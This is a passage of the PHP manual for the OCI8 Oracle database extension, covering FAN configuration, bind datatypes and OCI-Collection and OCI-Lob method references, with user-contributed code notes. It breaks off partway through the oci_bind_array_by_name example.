When oci8.events is On, it is suggested to set oci8.ping_interval to -1 to disable pinging, since enabling FAN events provide pro-active connection management of idle connections made invalid by a service disruption.

To enable FAN support in PHP, build PHP with Oracle 10gR2 or 11g libraries and then follow these steps:

  • As a privileged database administrator, use a program like SQL*Plus to enable the database service to post FAN events, for example:

        SQL> execute dbms_service.modify_service(
                   SERVICE_NAME        => 'sales',
                   AQ_HA_NOTIFICATIONS => TRUE);

  • Edit php.ini and add

        oci8.events = On

  • If the application does not already handle OCI8 error conditions, modify it to detect failures and take appropriate action. This may include re-connecting and re-executing statements.
  • Run the application, connecting to an Oracle 10gR2 or 11g database.

User Contributed Notes

There are no user contributed notes for this page.
Examples
Supported Datatypes
OCI8


Supported Datatypes

The driver supports the following types when binding parameters using oci_bind_by_name() function:
Type | Mapping
SQLT_NTY | Maps a native collection type from a PHP collection object, such as those created by oci_new_collection().
SQLT_BFILEE | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_CFILEE | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_CLOB | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_BLOB | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_RDD | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_NUM | Converts the PHP parameter to a 'C' long type, and binds to that value.
SQLT_RSET | Maps a native statement handle, such as those created by oci_parse() or those retrieved from other OCI queries.
SQLT_CHR and any other type | Converts the PHP parameter to a string type and binds as a string.
The following types are supported when retrieving columns from a result set:
Type | Mapping
SQLT_RSET | Creates an oci statement resource to represent the cursor.
SQLT_RDD | Creates a ROWID object.
SQLT_BLOB | Creates a LOB object.
SQLT_CLOB | Creates a LOB object.
SQLT_BFILE | Creates a LOB object.
SQLT_LNG | Bound as SQLT_CHR, returned as a string
SQLT_LBI | Bound as SQLT_BIN, returned as a string
Any other type | Bound as SQLT_CHR, returned as a string

User Contributed Notes

There are no user contributed notes for this page.
Connection Handling
OCI8 Functions
OCI8


OCI8 Functions

Table of Contents

  • OCI-Collection::append — Appends element to the collection
  • OCI-Collection::assign — Assigns a value to the collection from another existing collection
  • OCI-Collection::assignElem — Assigns a value to the element of the collection
  • OCI-Collection::free — Frees the resources associated with the collection object
  • OCI-Collection::getElem — Returns value of the element
  • OCI-Collection::max — Returns the maximum number of elements in the collection
  • OCI-Collection::size — Returns size of the collection
  • OCI-Collection::trim — Trims elements from the end of the collection
  • OCI-Lob::append — Appends data from the large object to another large object
  • OCI-Lob::close — Closes LOB descriptor
  • OCI-Lob::eof — Tests for end-of-file on a large object's descriptor
  • OCI-Lob::erase — Erases a specified portion of the internal LOB data
  • OCI-Lob::export — Exports LOB's contents to a file
  • OCI-Lob::flush — Flushes/writes buffer of the LOB to the server
  • OCI-Lob::free — Frees resources associated with the LOB descriptor
  • OCI-Lob::getBuffering — Returns current state of buffering for the large object
  • OCI-Lob::import — Imports file data to the LOB
  • OCI-Lob::load — Returns large object's contents
  • OCI-Lob::read — Reads part of the large object
  • OCI-Lob::rewind — Moves the internal pointer to the beginning of the large object
  • OCI-Lob::save — Saves data to the large object
  • OCI-Lob::saveFile — Alias of OCI-Lob::import
  • OCI-Lob::seek — Sets the internal pointer of the large object
  • OCI-Lob::setBuffering — Changes current state of buffering for the large object
  • OCI-Lob::size — Returns size of large object
  • OCI-Lob::tell — Returns the current position of internal pointer of large object
  • OCI-Lob::truncate — Truncates large object
  • OCI-Lob::write — Writes data to the large object
  • OCI-Lob::writeTemporary — Writes a temporary large object
  • OCI-Lob::writeToFile — Alias of OCI-Lob::export
  • oci_bind_array_by_name — Binds a PHP array to an Oracle PL/SQL array parameter
  • oci_bind_by_name — Binds a PHP variable to an Oracle placeholder
  • oci_cancel — Cancels reading from cursor
  • oci_client_version — Returns the Oracle client library version
  • oci_close — Closes an Oracle connection
  • oci_commit — Commits the outstanding database transaction
  • oci_connect — Connect to an Oracle database
  • oci_define_by_name — Associates a PHP variable with a column for query fetches
  • oci_error — Returns the last error found
  • oci_execute — Executes a statement
  • oci_fetch_all — Fetches multiple rows from a query into a two-dimensional array
  • oci_fetch_array — Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc — Returns the next row from a query as an associative array
  • oci_fetch_object — Returns the next row from a query as an object
  • oci_fetch_row — Returns the next row from a query as a numeric array
  • oci_fetch — Fetches the next row from a query into internal buffers
  • oci_field_is_null — Checks if the field is NULL
  • oci_field_name — Returns the name of a field from the statement
  • oci_field_precision — Tell the precision of a field
  • oci_field_scale — Tell the scale of the field
  • oci_field_size — Returns field's size
  • oci_field_type_raw — Tell the raw Oracle data type of the field
  • oci_field_type — Returns field's data type
  • oci_free_statement — Frees all resources associated with statement or cursor
  • oci_internal_debug — Enables or disables internal debug output
  • oci_lob_copy — Copies large object
  • oci_lob_is_equal — Compares two LOB/FILE locators for equality
  • oci_new_collection — Allocates new collection object
  • oci_new_connect — Connect to the Oracle server using a unique connection
  • oci_new_cursor — Allocates and returns a new cursor (statement handle)
  • oci_new_descriptor — Initializes a new empty LOB or FILE descriptor
  • oci_num_fields — Returns the number of result columns in a statement
  • oci_num_rows — Returns number of rows affected during statement execution
  • oci_parse — Prepares an Oracle statement for execution
  • oci_password_change — Changes password of Oracle's user
  • oci_pconnect — Connect to an Oracle database using a persistent connection
  • oci_result — Returns field's value from the fetched row
  • oci_rollback — Rolls back the outstanding database transaction
  • oci_server_version — Returns the Oracle Database version
  • oci_set_action — Sets the action name
  • oci_set_client_identifier — Sets the client identifier
  • oci_set_client_info — Sets the client information
  • oci_set_edition — Sets the database edition
  • oci_set_module_name — Sets the module name
  • oci_set_prefetch — Sets number of rows to be prefetched by queries
  • oci_statement_type — Returns the type of a statement

User Contributed Notes

greatval <wow> gmail <dot> com 24-Jul-2006 09:30
For use PHPv5 functions in PHPv4 i use simple script:
<?php
$funcs=array(
        'oci_connect'=>'OCILogon',
        'oci_parse'=>'OCIParse',
        'oci_execute'=>'OCIExecute',
        'oci_fetch'=>'OCIFetch',
        'oci_num_fields'=>'OCINumCols',
        'oci_field_name'=>'OCIColumnName',
        'oci_result'=>'OCIResult',
        'oci_free_statement'=>'OCIFreeStatement',
);
// yoy can add yours pairs of funcs.

foreach ($funcs as $k=>$v)
    {
        if (!function_exists($k))
            {
                $arg_string='$p0';
                for ($i=1;$i<20;$i++) {
                    $arg_string.=',$p'.$i;
                }
                eval ('function '.$k.' () {
                        list('.$arg_string.')=func_get_args();
                        return '.$v.'('.$arg_string.');
                        }
                ');
            }
    }
?>

simple, but it work. :-)
Javi Ros 02-Jun-2006 07:49
Here are the translate of some functions from ORA to OCI:

<?php
function Ora_Logon($usuario, $password)
{
        $con = oci_connect($usuario,$password);
        return $con;
}

function Ora_Open($conexion) {
        $cursor[0]=$conexion;
        return $cursor;
}

function Ora_Parse(&$cursor, $consulta) {
        $cursor[1]=oci_parse($cursor[0],$consulta);
        return $cursor;
}

function Ora_Exec(&$cursor) {
        oci_execute($cursor[1]);
        $cursor[2]=1;
        return $cursor;
}

function Ora_Fetch(&$cursor)
{
        if ($cursor[2] == 1) $cursor[2]=0;
        return oci_fetch($cursor[1]);
}

function Ora_GetColumn(&$cursor, $indice)
{
        if ($cursor[2] == 1) {
                Ora_Fetch($cursor);
                $cursor[2]=0;
        }
        $valor = oci_result($cursor[1],$indice+1);
        return $valor;
}

function Ora_Close(&$cursor)
{
        unset($cursor[1]);
}

function Ora_Logoff($conexion) {
}
?>
Supported Datatypes
OCI-Collection::append
OCI8


Appends element to the collection

OCI8 Functions
OCI-Collection::assign
OCI8 Functions
PHP Manual

OCI-Collection::append

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::append — Appends element to the collection

Description

bool OCI-Collection::append ( mixed $value )

Appends element to the end of the collection.

Parameters

value

The value to be added to the collection. Can be a string or a number.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Collection::assign

User Contributed Notes

There are no user contributed notes for this page.
OCI8 Functions
OCI-Collection::assign
OCI8 Functions


Assigns a value to the collection from another existing collection

OCI-Collection::append
OCI-Collection::assignElem
OCI8 Functions
PHP Manual

OCI-Collection::assign

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::assign — Assigns a value to the collection from another existing collection

Description

bool OCI-Collection::assign ( OCI-Collection $from )

Assigns a value to the collection from another, previously created collection. Both collections must be created with oci_new_collection() prior to using them.

Parameters

from

An instance of OCI-Collection.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Collection::append

User Contributed Notes

There are no user contributed notes for this page.
OCI-Collection::append
OCI-Collection::assignElem
OCI8 Functions


Assigns a value to the element of the collection

OCI-Collection::assign
OCI-Collection::free
OCI8 Functions
PHP Manual

OCI-Collection::assignElem

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::assignElem — Assigns a value to the element of the collection

Description

bool OCI-Collection::assignElem ( int $index , mixed $value )

Assigns a value to the element with index index.

Parameters

index

The element index. First index is 1.

value

Can be a string or a number.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Collection::getElem

User Contributed Notes

There are no user contributed notes for this page.
OCI-Collection::assign
OCI-Collection::free
OCI8 Functions


Frees the resources associated with the collection object

OCI-Collection::assignElem
OCI-Collection::getElem
OCI8 Functions
PHP Manual

OCI-Collection::free

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::free — Frees the resources associated with the collection object

Description

bool OCI-Collection::free ( void )

Frees the resources associated with the collection object.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • oci_new_collection

User Contributed Notes

There are no user contributed notes for this page.
OCI-Collection::assignElem
OCI-Collection::getElem
OCI8 Functions


Returns value of the element

OCI-Collection::free
OCI-Collection::max
OCI8 Functions
PHP Manual

OCI-Collection::getElem

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::getElem — Returns value of the element

Description

mixed OCI-Collection::getElem ( int $index )

Returns element's value with the index index (1-based).

Parameters

index

The element index. First index is 1.

Return Values

Returns FALSE if such element doesn't exist; NULL if element is NULL; string if element is column of a string datatype or number if element is numeric field.

See Also

  • OCI-Collection::assignElem

User Contributed Notes

Anonymous 12-Jun-2008 09:47
I disagree, the first element is 0 ie ..->getElem(0)
OCI-Collection::free
OCI-Collection::max
OCI8 Functions


Returns the maximum number of elements in the collection

OCI-Collection::getElem
OCI-Collection::size
OCI8 Functions
PHP Manual

OCI-Collection::max

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::max — Returns the maximum number of elements in the collection

Description

int OCI-Collection::max ( void )

Returns the maximum number of elements in the collection.

Return Values

Returns the maximum number as an integer, or FALSE on errors.

If the returned value is 0, then the number of elements is not limited.

See Also

  • OCI-Collection::size

User Contributed Notes

There are no user contributed notes for this page.
OCI-Collection::getElem
OCI-Collection::size
OCI8 Functions


Returns size of the collection

OCI-Collection::max
OCI-Collection::trim
OCI8 Functions
PHP Manual

OCI-Collection::size

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::size — Returns size of the collection

Description

int OCI-Collection::size ( void )

Returns the size of the collection.

Return Values

Returns the number of elements in the collection or FALSE on error.

See Also

  • OCI-Collection::max

User Contributed Notes

There are no user contributed notes for this page.
OCI-Collection::max
OCI-Collection::trim
OCI8 Functions


Trims elements from the end of the collection

OCI-Collection::size
OCI-Lob::append
OCI8 Functions
PHP Manual

OCI-Collection::trim

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::trim — Trims elements from the end of the collection

Description

bool OCI-Collection::trim ( int $num )

Trims num of elements from the end of the collection.

Parameters

num

The number of elements to be trimmed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Collection::size

User Contributed Notes

There are no user contributed notes for this page.
OCI-Collection::size
OCI-Lob::append
OCI8 Functions


Appends data from the large object to another large object

OCI-Collection::trim
OCI-Lob::close
OCI8 Functions
PHP Manual

OCI-Lob::append

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::append — Appends data from the large object to another large object

Description

bool OCI-Lob::append ( OCI-Lob $lob_from )

Appends data from the large object to the end of another large object.

Writing to the large object with this method will fail if buffering was previously enabled. You must disable buffering before appending. You may need to flush buffers with OCI-Lob::flush before disabling buffering.

Parameters

lob_from

The copied LOB.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::flush
  • OCI-Lob::setBuffering
  • OCI-Lob::getBuffering

User Contributed Notes

There are no user contributed notes for this page.
OCI-Collection::trim
OCI-Lob::close
OCI8 Functions


Closes LOB descriptor

OCI-Lob::append
OCI-Lob::eof
OCI8 Functions
PHP Manual

OCI-Lob::close

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::close — Closes LOB descriptor

Description

bool OCI-Lob::close ( void )

Closes descriptor of LOB or FILE. This function should be used only with OCI-Lob::writeTemporary.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::append
OCI-Lob::eof
OCI8 Functions


Tests for end-of-file on a large object's descriptor

OCI-Lob::close
OCI-Lob::erase
OCI8 Functions
PHP Manual

OCI-Lob::eof

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::eof — Tests for end-of-file on a large object's descriptor

Description

bool OCI-Lob::eof ( void )

Tells whether the internal pointer of large object is at the end of LOB.

Return Values

Returns TRUE if internal pointer of large object is at the end of LOB. Otherwise returns FALSE.

See Also

  • OCI-Lob::size

User Contributed Notes

rootmj_konf at seznam dot cz 05-Dec-2006 08:55
foreach (get_class_methods('OCI-Lob') as $method ) {
    echo "OCI-Lob::$method()\n";
}

http://www.oracle.com/technology/pub/articles/
oracle_php_cookbook/fuecks_lobs.html
OCI-Lob::close
OCI-Lob::erase
OCI8 Functions


Erases a specified portion of the internal LOB data

OCI-Lob::eof
OCI-Lob::export
OCI8 Functions
PHP Manual

OCI-Lob::erase

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::erase — Erases a specified portion of the internal LOB data

Description

int OCI-Lob::erase ([ int $offset [, int $length ]] )

Erases a specified portion of the internal LOB data starting at a specified offset. If called without parameters, it erases all LOB data.

For BLOBs, erasing means that the existing LOB value is overwritten with zero-bytes. For CLOBs, the existing LOB value is overwritten with spaces.

Parameters

offset

length

Return Values

Returns the actual number of characters/bytes erased or FALSE on failure.

See Also

  • OCI-Lob::truncate

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::eof
OCI-Lob::export
OCI8 Functions


Exports LOB's contents to a file

OCI-Lob::erase
OCI-Lob::flush
OCI8 Functions
PHP Manual

OCI-Lob::export

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::export — Exports LOB's contents to a file

Description

bool OCI-Lob::export ( string $filename [, int $start [, int $length ]] )

Exports LOB contents to a file.

Parameters

filename

Path to the file.

start

Indicates from where to start exporting.

length

Indicates the length of data to be exported.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::import

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::erase
OCI-Lob::flush
OCI8 Functions


Flushes/writes buffer of the LOB to the server

OCI-Lob::export
OCI-Lob::free
OCI8 Functions
PHP Manual

OCI-Lob::flush

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::flush — Flushes/writes buffer of the LOB to the server

Description

bool OCI-Lob::flush ([ int $flag ] )

OCI-Lob::flush() actually writes data to the server.

Parameters

flag

By default, resources are not freed, but using flag OCI_LOB_BUFFER_FREE you can do it explicitly. Be sure you know what you're doing - next read/write operation to the same part of LOB will involve a round-trip to the server and initialize new buffer resources. It is recommended to use OCI_LOB_BUFFER_FREE flag only when you are not going to work with the LOB anymore.

Return Values

Returns TRUE on success or FALSE on failure.

Returns FALSE if buffering was not enabled or an error occurred.

See Also

  • OCI-Lob::getBuffering
  • OCI-Lob::setBuffering

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::export
OCI-Lob::free
OCI8 Functions


Frees resources associated with the LOB descriptor

OCI-Lob::flush
OCI-Lob::getBuffering
OCI8 Functions
PHP Manual

OCI-Lob::free

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::free — Frees resources associated with the LOB descriptor

Description

bool OCI-Lob::free ( void )

Frees resources associated with the descriptor, previously allocated with oci_new_descriptor().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

sixd at php dot net 23-Oct-2008 04:56
Use this to free the "temporary lobs" that get created when a query returns a LOB descriptor.  See ext/oci8/tests/bug43497.phpt for more information.
OCI-Lob::flush
OCI-Lob::getBuffering
OCI8 Functions


Returns current state of buffering for the large object

OCI-Lob::free
OCI-Lob::import
OCI8 Functions
PHP Manual

OCI-Lob::getBuffering

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::getBuffering — Returns current state of buffering for the large object

Description

bool OCI-Lob::getBuffering ( void )

Tells whether the buffering for the large object is on or off.

Return Values

Returns FALSE if buffering for the large object is off and TRUE if buffering is used.

See Also

  • OCI-Lob::setBuffering

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::free
OCI-Lob::import
OCI8 Functions


Imports file data to the LOB

OCI-Lob::getBuffering
OCI-Lob::load
OCI8 Functions
PHP Manual

OCI-Lob::import

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::import — Imports file data to the LOB

Description

bool OCI-Lob::import ( string $filename )

Writes data from the filename in to the current position of large object.

Parameters

filename

Path to the file.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::export
  • OCI-Lob::write

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::getBuffering
OCI-Lob::load
OCI8 Functions


Returns large object's contents

OCI-Lob::import
OCI-Lob::read
OCI8 Functions
PHP Manual

OCI-Lob::load

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::load — Returns large object's contents

Description

string OCI-Lob::load ( void )

Returns large object's contents. As script execution is terminated when the memory_limit is reached, ensure that the LOB does not exceed this limit. In most cases it's recommended to use OCI-Lob::read instead.

Return Values

Returns the contents of the object, or FALSE on errors.

See Also

  • OCI-Lob::read

User Contributed Notes

pablo dot casado at layers dot com 03-Feb-2010 08:09
Reading a OCI-Lob by using the load() function will return only 2k chars, so you miss part of its contents.

For example:
<?php

$sql = "BEGIN :res := getACLOB(id).getclobval(); END;";
$stmt = oci_parse($conn, $sql);
$resVal = OCINewDescriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ":res", $resVal, -1, OCI_B_CLOB);
oci_execute($stmt);

$foo = $resVal->load();
// $foo will contain only 2k chars

// the following will neither work
$foo = $resVal->read( $resVal->size() );
// $foo will contain only 2k chars

?>

Use this instead:

<?php

$sql = "BEGIN :res := getACLOB(id).getclobval(); END;";
$stmt = oci_parse($conn, $sql);
$resVal = OCINewDescriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ":res", $resVal, -1, OCI_B_CLOB);
oci_execute($stmt);

$foo = "";

while(!$resVal->eof()){
    $foo .= $resVal->read(2000);
}
// $foo will contain full contents of the CLOB
?>
FaLL3N at mail dot ru 25-Dec-2006 05:49
Ps. To prevent IE errors like 'File not found!' after downloading file from db I recommend to add next two lines into header:
header('Cache-Control: max-age=0');
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");

With this, IE will open any file normally :)
FaLL3N at mail dot ru 25-Oct-2006 06:34
I'll give you example how to download a file from db without storing it on server's FS:
It works like this - point yor browser to index.php?name=file.ext
Just make sure that file "file.ext" exists in your db!

Code:

<?php

 $dbConnection=ocilogon('user','pass','data.world'); //login stuff
 $sql_SelectBlob='select document_body,filename from tdocuments where id=1'; //selecting a blob field named 'document_body' with id = 1
 $statement=OCIParse($dbConnection,$sql_SelectBlob);

 OCIExecute($statement) or die($sql_SelectBlob.'<hr>');

if(OCIFetch($statement)) //if file exists
 {
 $a=OCIResult($statement,"DOCUMENT_BODY");
 }
header('Content-type: application/octet-stream;');
header('Content-disposition: attachment;filename='.$_GET['name']);

print $a->load();
//browser promts to save or open the file
?>

Have fun!
OCI-Lob::import
OCI-Lob::read
OCI8 Functions


Reads part of the large object

OCI-Lob::load
OCI-Lob::rewind
OCI8 Functions
PHP Manual

OCI-Lob::read

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::read — Reads part of the large object

Description

string OCI-Lob::read ( int $length )

Reads length bytes from the current position of LOB's internal pointer.

Reading stops when length bytes have been read or end of the large object is reached. Internal pointer of the large object will be shifted on the amount of bytes read.

Parameters

length

The length of data to read, in bytes.

Return Values

Returns the contents as a string, or FALSE on failure.

See Also

  • OCI-Lob::load
  • OCI-Lob::write

User Contributed Notes

alvaro at demogracia dot com 08-Oct-2008 12:32
To read the whole LOB into a variable:

<?php
$foo = $MyBlob->read($MyBlob->size());
?>
OCI-Lob::load
OCI-Lob::rewind
OCI8 Functions


Moves the internal pointer to the beginning of the large object

OCI-Lob::read
OCI-Lob::save
OCI8 Functions
PHP Manual

OCI-Lob::rewind

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::rewind — Moves the internal pointer to the beginning of the large object

Description

bool OCI-Lob::rewind ( void )

Sets the internal pointer to the beginning of the large object.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::seek
  • OCI-Lob::tell

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::read
OCI-Lob::save
OCI8 Functions


Saves data to the large object

OCI-Lob::rewind
OCI-Lob::saveFile
OCI8 Functions
PHP Manual

OCI-Lob::save

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::save — Saves data to the large object

Description

bool OCI-Lob::save ( string $data [, int $offset ] )

Saves data to the large object.

Parameters

data

The data to be saved.

offset

Can be used to indicate offset from the beginning of the large object.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::write
  • OCI-Lob::import

User Contributed Notes

01-Jun-2006 03:23
If you are using Save() on an update statement, PHP will throw a warning similar to "OCILobWrite: OCI_INVALID_HANDLE..." if your update statement did not catch any rows with its where clause.
OCI-Lob::rewind
OCI-Lob::saveFile
OCI8 Functions


Alias of OCI-Lob::import

OCI-Lob::save
OCI-Lob::seek
OCI8 Functions
PHP Manual

OCI-Lob::saveFile

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::saveFile — Alias of OCI-Lob::import()

Description

This function is an alias of: OCI-Lob::import().

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::save
OCI-Lob::seek
OCI8 Functions


Sets the internal pointer of the large object

OCI-Lob::saveFile
OCI-Lob::setBuffering
OCI8 Functions
PHP Manual

OCI-Lob::seek

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::seek — Sets the internal pointer of the large object

Description

bool OCI-Lob::seek ( int $offset [, int $whence = OCI_SEEK_SET ] )

Sets the internal pointer of the large object.

Parameters

offset

Indicates the amount of bytes, on which internal pointer should be moved from the position, pointed by whence.

whence

May be one of:

  • OCI_SEEK_SET - sets the position equal to offset
  • OCI_SEEK_CUR - adds offset bytes to the current position
  • OCI_SEEK_END - adds offset bytes to the end of large object (use negative value to move to a position before the end of large object)

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::rewind
  • OCI-Lob::tell
  • OCI-Lob::eof

User Contributed Notes

christopher dot jones at oracle dot com 25-Feb-2008 04:38
The default value for $whence is OCI_SEEK_SET.
OCI-Lob::saveFile
OCI-Lob::setBuffering
OCI8 Functions


Changes current state of buffering for the large object

OCI-Lob::seek
OCI-Lob::size
OCI8 Functions
PHP Manual

OCI-Lob::setBuffering

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::setBuffering — Changes current state of buffering for the large object

Description

bool OCI-Lob::setBuffering ( bool $on_off )

Sets the buffering for the large object, depending on the value of the on_off parameter.

Use of this function may provide performance improvements by buffering small reads and writes of LOBs by reducing the number of network round-trips and LOB versions. OCI-Lob::flush() should be used to flush buffers, when you have finished working with the large object.

Parameters

on_off

TRUE for on and FALSE for off.

Return Values

Returns TRUE on success or FALSE on failure. Repeated calls to this method with the same flag will return TRUE.

See Also

  • OCI-Lob::getBuffering

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::seek
OCI-Lob::size
OCI8 Functions


Returns size of large object

OCI-Lob::setBuffering
OCI-Lob::tell
OCI8 Functions
PHP Manual

OCI-Lob::size

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::size — Returns size of large object

Description

int OCI-Lob::size ( void )

Gets the size of the large object.

Return Values

Returns length of large object value or FALSE on failure. Empty objects have zero length.

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::setBuffering
OCI-Lob::tell
OCI8 Functions


Returns the current position of internal pointer of large object

OCI-Lob::size
OCI-Lob::truncate
OCI8 Functions
PHP Manual

OCI-Lob::tell

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::tell — Returns the current position of internal pointer of large object

Description

int OCI-Lob::tell ( void )

Gets the current position of a LOB's internal pointer.

Return Values

Returns current position of a LOB's internal pointer or FALSE if an error occurred.

See Also

  • OCI-Lob::rewind
  • OCI-Lob::size
  • OCI-Lob::eof

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::size
OCI-Lob::truncate
OCI8 Functions


Truncates large object

OCI-Lob::tell
OCI-Lob::write
OCI8 Functions
PHP Manual

OCI-Lob::truncate

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::truncate — Truncates large object

Description

bool OCI-Lob::truncate ([ int $length = 0 ] )

Truncates the LOB.

Parameters

length

If provided, this method will truncate the LOB to length bytes. Otherwise, it will completely purge the LOB.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::erase

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::tell
OCI-Lob::write
OCI8 Functions


Writes data to the large object

OCI-Lob::truncate
OCI-Lob::writeTemporary
OCI8 Functions
PHP Manual

OCI-Lob::write

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::write — Writes data to the large object

Description

int OCI-Lob::write ( string $data [, int $length ] )

Writes data from the parameter data into the current position of LOB's internal pointer.

Parameters

data

The data to write in the LOB.

length

If this parameter is given, writing will stop after length bytes have been written or the end of data is reached, whichever comes first.

Return Values

Returns the number of bytes written or FALSE on failure.

See Also

  • OCI-Lob::read

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::truncate
OCI-Lob::writeTemporary
OCI8 Functions


Writes a temporary large object

OCI-Lob::write
OCI-Lob::writeToFile
OCI8 Functions
PHP Manual

OCI-Lob::writeTemporary

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::writeTemporary — Writes a temporary large object

Description

bool OCI-Lob::writeTemporary ( string $data [, int $lob_type = OCI_TEMP_CLOB ] )

Creates a temporary large object and writes data to it.

You should use OCI-Lob::close when you are done with this object.

Parameters

data

The data to write.

lob_type

Can be one of the following:

  • OCI_TEMP_BLOB is used to create temporary BLOBs
  • OCI_TEMP_CLOB is used to create temporary CLOBs

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::close

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::write
OCI-Lob::writeToFile
OCI8 Functions


Alias of OCI-Lob::export

OCI-Lob::writeTemporary
oci_bind_array_by_name
OCI8 Functions
PHP Manual

OCI-Lob::writeToFile

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::writeToFile — Alias of OCI-Lob::export()

Description

This function is an alias of: OCI-Lob::export().

User Contributed Notes

There are no user contributed notes for this page.
OCI-Lob::writeTemporary
oci_bind_array_by_name
OCI8 Functions


Binds a PHP array to an Oracle PL/SQL array parameter

OCI-Lob::writeToFile
oci_bind_by_name
OCI8 Functions
PHP Manual

oci_bind_array_by_name

(PHP 5 >= 5.1.2, PECL OCI8 >= 1.2.0)

oci_bind_array_by_name — Binds a PHP array to an Oracle PL/SQL array parameter

Description

bool oci_bind_array_by_name ( resource $statement , string $name , array &$var_array , int $max_table_length [, int $max_item_length = -1 [, int $type = SQLT_AFC ]] )

Binds the PHP array var_array to the Oracle placeholder name, which points to an Oracle PL/SQL array. Whether it will be used for input or output will be determined at run-time.

Parameters

statement

A valid OCI statement identifier.

name

The Oracle placeholder.

var_array

An array.

max_table_length

Sets the maximum length both for incoming and result arrays.

max_item_length

Sets maximum length for array items. If not specified or equals to -1, oci_bind_array_by_name() will find the longest element in the incoming array and will use it as the maximum length.

type

Should be used to set the type of PL/SQL array items. See list of available types below:

  • SQLT_NUM - for arrays of NUMBER.

  • SQLT_INT - for arrays of INTEGER (Note: INTEGER it is actually a synonym for NUMBER(38), but SQLT_NUM type won't work in this case even though they are synonyms).

  • SQLT_FLT - for arrays of FLOAT.

  • SQLT_AFC - for arrays of CHAR.

  • SQLT_CHR - for arrays of VARCHAR2.

  • SQLT_VCS - for arrays of VARCHAR.

  • SQLT_AVC - for arrays of CHARZ.

  • SQLT_STR - for arrays of STRING.

  • SQLT_LVC - for arrays of LONG VARCHAR.

  • SQLT_ODT - for arrays of DATE.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 oci_bind_array_by_name() example

<?php

$c = oci_connect("scott", "tiger");

$create = "CREATE TABLE bind_example(name VARCHAR(20))";
$statement = oci_parse($c, $create);
oci_execute($statement);

$create_pkg = "
CREATE OR REPLACE PACKAGE ARRAYBINDPKG1 AS
  TYPE ARRTYPE IS TABLE OF VARCHAR(20) INDEX BY BINARY_INTEGER;
  PROCEDURE iobind(c1 IN OUT ARRTYPE);
END ARRAYBINDPKG1;";
$statement = oci_parse($c, $create_pkg);
oci_execute($statement);

$create_pkg_body = "
CREATE OR REPLACE PACKAGE BODY ARRAYBINDPKG1 AS
  CURSOR CUR IS SELECT name FROM bind_example;
  PROCEDURE iobind(c1 IN OUT ARRTYPE) IS
